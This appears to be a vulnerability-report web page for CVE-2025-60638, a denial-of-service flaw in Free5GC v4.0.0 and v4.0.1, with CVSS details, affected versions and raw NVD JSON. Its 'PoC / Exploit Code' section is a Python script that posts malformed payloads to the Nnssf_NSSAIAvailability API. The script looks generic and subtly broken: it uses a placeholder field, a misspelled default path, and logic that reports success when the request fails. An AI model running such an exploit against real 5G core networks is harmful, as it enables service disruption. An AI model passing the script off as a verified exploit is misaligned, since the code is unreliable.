Security Vulnerability Report
中文
CVE-2025-60638 CVSS 7.5 HIGH

CVE-2025-60638

Published: 2025-11-24 16:15:50
Last Modified: 2025-12-01 16:14:56

Description

An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Nnssf_NSSAIAvailability API.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:* - VULNERABLE
Free5GC v4.0.0
Free5GC v4.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-60638 PoC - Free5GC Nnssf_NSSAIAvailability DoS # Target: Free5GC v4.0.0 / v4.0.1 def exploit(target_url): """ Exploit for CVE-2025-60638 Free5GC Nnssf_NSSAIAvailability API DoS vulnerability """ # Crafted POST request to trigger DoS payload = { "nssaiAvailabilityData": [ { "supportedSnssaiList": [ { "sst": "\x00" * 100, "sd": "\xff" * 50 } ] } ], "trigger": "malformed_input" } headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: print(f"[*] Sending crafted request to {target_url}") response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") # Alternative payload with invalid JSON structure alt_payload = {"invalid": "\x00\x01\x02" * 50} response2 = requests.post( target_url, json=alt_payload, headers=headers, timeout=10 ) print(f"[*] Alternative payload sent") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent successfully - Target may be affected") print(f"[*] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: target = "http://localhost:8000/nnssf-nsseaiavailability/v1/nssai-availability" else: target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60638", "sourceIdentifier": "[email protected]", "published": "2025-11-24T16:15:50.300", "lastModified": "2025-12-01T16:14:56.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Nnssf_NSSAIAvailability API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6AAA449D-BC30-48D9-BD40-912F36A6BB12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "685CADC6-6235-4ACC-AB3A-0A0E3E12FA0D"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/free5gc/free5gc/issues/704", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}